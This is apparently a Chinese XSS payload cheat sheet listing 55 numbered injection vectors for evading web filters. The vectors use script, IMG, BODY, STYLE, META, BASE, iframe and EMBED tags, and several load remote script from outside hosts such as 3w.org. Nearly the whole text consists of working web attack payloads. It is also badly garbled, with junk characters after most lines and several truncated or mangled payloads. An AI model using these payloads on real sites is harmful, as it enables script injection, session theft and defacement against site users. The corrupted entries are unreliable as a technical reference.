(1)普通的XSS JavaScript注入: w7 }5 V4 D: q
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- m' H% Z1 B5 z: W3 X- X(99)另类弹框* b3 @& \* D$ v, S( b# v
<q/oncut=alert()>1$ ?- R6 x" M, Y3 Y! `8 J1 ]! ?
<s/onclick=alert()>b3 c- T+ V2 t N/ S8 u
<XSS=" onclick="alert(1)//">clickme</SSX=">1 q5 |/ y |1 _! c% u. z% z; P
<zzz onclick=alert`1`>clickme</zzz> 3 n( k$ p1 v9 }& O/ ~7 M+ c; |) m
<a onclick=alert`1`>clickme</a>" d" L' l+ ^5 Q( E
<a=">clickme</a=">
+ E$ A+ M5 t8 R0 U' |<a=">clickme</a>* z( E$ O O1 U
<z=">clickme</z=">) e! g9 H0 @/ G9 z7 ?& _
<z onclick=alert`1`>clickme</z>) }, W. Q7 r+ e
+ ] x" z" x# Y$ F( h
(2)IMG标签XSS使用JavaScript命令% O% Y# P2 L E1 _* r+ K7 B
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
2 x+ q8 G- ^: \, }6 p; o$ C i' m2 W% O3 W& f+ P0 p
(3)IMG标签无分号无引号
" w* `# z Z" z9 N, Q: w<IMG SRC=javascript:alert(‘XSS’)>; p2 W' N6 Q& n
5 u8 @; a2 g2 `* b: Z(4)IMG标签大小写不敏感
! o) P; \7 \: t: H6 i<IMG SRC=JaVaScRiPt:alert(‘XSS’)>) a- T& V' i, ^/ W7 |! S
4 u. k+ `8 Z$ n; W& g* e. a(5)HTML编码(必须有分号)
1 l. U( I- m/ R" ~<IMG SRC=javascript:alert(“XSS”)>
# p9 V* b+ t; ?) }3 F1 n! S# k' r( n
(6)修正缺陷IMG标签1 ~" s9 L& N: M
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
* [' f5 [# n# F* H; J) j/ M1 C+ ~
(7)formCharCode标签(计算器)
a% K& x$ `% x! E<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
/ b" [ {( X y& ]6 g a: n9 o1 m/ |1 k2 y* e3 r3 H8 Q+ l: _+ b
(8)UTF-8的Unicode编码(计算器)+ X4 E# r# G( Q/ P, p9 V
<IMG SRC=jav..省略..S')>
0 V" C- m& N' C1 t+ S# A# r* \9 _ Z: P, M
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)+ }' S: _. u2 n, `( ]6 {3 t6 `9 F' i
<IMG SRC=jav..省略..S')>
" z7 L2 H$ b x7 v" z4 t+ C0 s5 e1 @7 l, E. Q" N
(10)十六进制编码也是没有分号(计算器). C4 D1 i2 |6 e% [2 r3 j
<IMG SRC=\'#\'" /span>+ w$ r e, T1 @! S( `4 g" h, [' Y
" l: h/ }9 H& o. o3 N
(11)嵌入式标签,将Javascript分开1 B2 R$ P7 x1 G+ p
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
# j8 \' j. {7 c5 m; f2 N+ r e
6 z: R6 t# P6 M! k3 s! S% _3 H, w(12)嵌入式编码标签,将Javascript分开4 w" `' ~5 j/ u' E7 S: ~
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
6 w9 ?5 t4 s7 D" f: [* S7 U+ P! z; Z, y _
(13)嵌入式换行符
; Z! \( C4 y, m/ \<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>: P o9 e/ {+ I6 {. J4 M2 ?4 i
1 J O( o! c8 L: C
(14)嵌入式回车
" M! D2 y, p; a" ]2 u! w<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
# w; C" G6 X. m1 y" ^) p7 a( d6 ~" I, I+ | b# ]
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
$ E* _& ^' \/ b<IMG SRC=\'#\'" /span>+ O; ?* N: R- Y2 C
/ }. m1 Z* C2 ?* v) U1 c; c(16)解决限制字符(要求同页面)
6 ?9 }5 p: e4 k$ o0 a* j5 \ X<script>z=’document.’</script>9 M1 ~ _9 ~. `! v4 Y H( J
<script>z=z+’write(“‘</script>
9 G! e9 \3 r' J" M<script>z=z+’<script’</script>
! h( C0 Y( N! M( G7 @1 ]( b4 d<script>z=z+’ src=ht’</script>
$ F: m) R' _( r6 Y7 w1 j- \<script>z=z+’tp://ww’</script>) {- u; R- N9 V. y# c3 l1 f
<script>z=z+’w.shell’</script>
}0 K8 d& N, y$ F8 Z) n- E<script>z=z+’.net/1.’</script>
% v! M' C: k w8 ]( B<script>z=z+’js></sc’</script>! \: \# l6 S1 `- g- H$ C: L
<script>z=z+’ript>”)’</script>7 ?/ c% C! c6 K0 ?3 l# s; h
<script>eval_r(z)</script> f& L) m4 Z$ T# e
: O& G" K C0 j* ?; D m(17)空字符
: s$ s* J& Z( h0 K# | q1 ` N" Rperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
# Z$ ]4 P- Y4 {! e
( W, c p0 z. q+ q, n5 D(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
T8 S7 U& S) |% wperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
7 T' L& p) J+ n
1 R, V. T( T; ?- Z! V) }5 Z1 \. d(19)Spaces和meta前的IMG标签
3 b3 P& Z2 R( M. N<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>$ i3 R' C; d2 g7 a! b% Z) d
4 V- f: n, {2 ^! f
(20)Non-alpha-non-digit XSS; z+ @- {1 S, j+ X% o* O* r& c' [
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
: H1 J9 B ^4 T' ~2 R! q' p; a1 G7 C5 l% e
(21)Non-alpha-non-digit XSS to 2+ b. B! Q1 z3 y; l" c6 ~8 n$ Y
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
) G1 }2 |1 l c2 M6 `& E! m9 Z& l8 l9 i" r, R- E8 Z
(22)Non-alpha-non-digit XSS to 3' P3 U Z2 O# K( }8 c' o' S* n
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>) T8 _3 v4 Z* f$ H( S; M
! N7 O. s7 Y9 J9 t) e4 ]- O(23)双开括号0 ?# e3 Y, C! | g0 N
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
. e8 K' w& D6 ^- Z
" u/ s/ B% b$ q+ R! P(24)无结束脚本标记(仅火狐等浏览器)
& Y' |( H- ~% H0 ?, \) T<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
2 @- M C3 S8 H! F( f" q, f Q! o2 _: l: N' I( \7 p" Y
(25)无结束脚本标记2/ m6 m. a D$ @8 Y
<SCRIPT SRC=//3w.org/XSS/xss.js>" x" }# v1 S: z [9 r7 ]
' C. W8 H5 k( r; U9 {(26)半开的HTML/JavaScript XSS; P) K: d7 {; J8 g+ q/ [5 |0 y! \- J& |
<IMG SRC=\'#\'" /span>* S5 ^' u( z: [ K6 i- M
! c2 E$ R/ \$ v7 r6 }- N2 U(27)双开角括号
* r$ J1 D7 y: ~# O( X0 m<iframe src=http://3w.org/XSS.html <
( X9 a: z9 W5 B- [3 r* A6 K8 o) }' ]( \) w) Z) S6 X
(28)无单引号 双引号 分号1 w0 b0 M5 U8 M I& X
<SCRIPT>a=/XSS/
. P6 ^) z; b! y2 X2 E0 ^( V/ Aalert(a.source)</SCRIPT>$ B. q& Q1 O$ g9 D7 l8 D
" m [: U, ^$ G(29)换码过滤的JavaScript) A" f7 z4 G9 [+ P
\”;alert(‘XSS’);//# ~1 e; J8 f* t4 {4 [
6 K5 d6 D1 |. f(30)结束Title标签
5 }% r3 c8 G j. ^0 B& P; v</TITLE><SCRIPT>alert(“XSS”);</SCRIPT># O9 x: c! w" d; M
]1 R) E3 e3 W& l# ~5 x
(31)Input Image
4 Y/ M& i( ?- H8 P4 e<INPUT SRC=\'#\'" /span>
9 S- W2 z: H. W1 }( l$ P% u; h' H: \: S% K( v
(32)BODY Image& ^) W+ M* V$ k' Y2 e! h: s
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>* s/ ~7 \6 @9 h) B8 g" `( O
* K4 ^, B2 t4 ]) g" I; o5 v& \
(33)BODY标签, a$ c9 J8 p4 F' g0 ~ ~, k$ S0 L9 H
<BODY(‘XSS’)>
/ |6 |! L$ B+ q+ Q( g! {9 Z6 v9 ^% s% z( K
(34)IMG Dynsrc
3 d% z8 J8 B8 |: F<IMG DYNSRC=\'#\'" /span>
/ ^8 o( S4 A8 l6 b* L" @4 j: x# D, u! j6 _8 g& u% N
(35)IMG Lowsrc
5 {) g. H! N2 F. r' h; U( r* m<IMG LOWSRC=\'#\'" /span>
0 `/ b, q% f6 d6 v! t8 }/ O# a. b
(36)BGSOUND
3 c1 q' O" P( J+ H& n<BGSOUND SRC=\'#\'" /span>
& e* L* ~" t! u* P- f9 t( w$ m' K) @+ Q$ [5 a2 K$ u" x
(37)STYLE sheet5 ?0 }: o; o+ X; Y* G
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>. T1 W/ t; e6 x) U) U+ w
9 _5 x H* H4 D(38)远程样式表7 w& Z* e" i' @! T8 E% z
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>( S1 q# u+ n! ]0 y6 z+ k
( N) M" Q# u7 t1 v+ A' u/ I
(39)List-style-image(列表式)6 G' M& k) R s! T& Y! w& s
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
# u: L( b, n) E) R( G5 x8 N. h
/ R# {2 |$ _0 z6 i3 F& P(40)IMG VBscript8 X% X- q1 ~5 Y/ b4 N$ F! y
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS# I1 j0 m4 J8 q' r, F7 J
6 `6 w2 |/ j4 g3 {(41)META链接url
! k3 D; [5 u: }; C' z+ _ g<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>2 {2 i; O, L7 e$ H- g6 `
0 x9 Q. [( E( I2 C- |(42)Iframe
, @+ o% ]1 z6 R- U0 [<IFRAME SRC=\'#\'" /IFRAME>) j* m Z& i- }5 p' ^: a
+ S; @+ ^4 q7 _( B8 J, Y1 U( ^
(43)Frame
+ e- q7 U2 N; V2 M- F; C<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>: S* ~! w+ k1 h
4 ?8 y" ^) n, Z q
(44)Table; Y5 l6 t! ^7 a1 Q# j: C6 |
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>( `7 t( \1 \5 ^7 m- z
; r- A; a0 a5 E7 `! ]' G(45)TD
1 d5 g9 p B( A0 u4 d( r2 S" K<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>+ I) R6 `& D R( T* ?1 [' w
; X0 a; P7 b9 u o# |! W9 L
(46)DIV background-image+ B0 i; l3 W3 L# \7 }3 M# j: ]
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
2 D6 b' I2 _, ^5 g; |$ k& X) E0 U7 z: H, G8 B9 X' P" P
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
+ }# K k1 J# k6 H; `2 W+ g% |<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>+ h$ M/ ?7 D/ T. g- ^' L4 M
* K* y" j# A5 b9 Y; G. U6 }) j
(48)DIV expression
- y% d S$ v- z! {$ c, K" Z' c<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
6 L" h; i5 I; h) b. J+ G5 }
( v5 y9 i+ x9 h: E(49)STYLE属性分拆表达
6 _) r. ^& x/ M<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
7 N4 ]& ~0 }( ]1 g K, w1 [0 n6 [9 o
(50)匿名STYLE(组成:开角号和一个字母开头), M3 k3 x) D/ }- f- w& y8 J9 V
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
5 m% M% b0 U0 }
2 i# n0 z7 @8 h& A(51)STYLE background-image) `7 t ~: M4 c+ i' G
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>+ i; v* f+ B) s, G w9 v7 u4 s
3 F% w( [2 E8 }$ f' `- { }0 U* X
(52)IMG STYLE方式8 \9 O% q2 }9 G6 j9 R
exppression(alert(“XSS”))’>
$ q* O: R/ {! Y8 [4 |; h
; B8 n: v+ R; s% g3 J& x(53)STYLE background+ h+ a- Y2 {7 o/ i2 l2 F
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
1 o$ w% P2 W; f. q' S5 I% Q% x6 W. [ i3 W! v& M6 r: L
(54)BASE& v) R- e7 a' t4 H1 }
<BASE HREF=”javascript:alert(‘XSS’);//”>/ m- z% q; a1 N: L. ?
& b9 [2 c" v6 C5 F _3 K(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS- k' y6 W8 a+ ?8 k. l
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
# J; s! q- E5 z |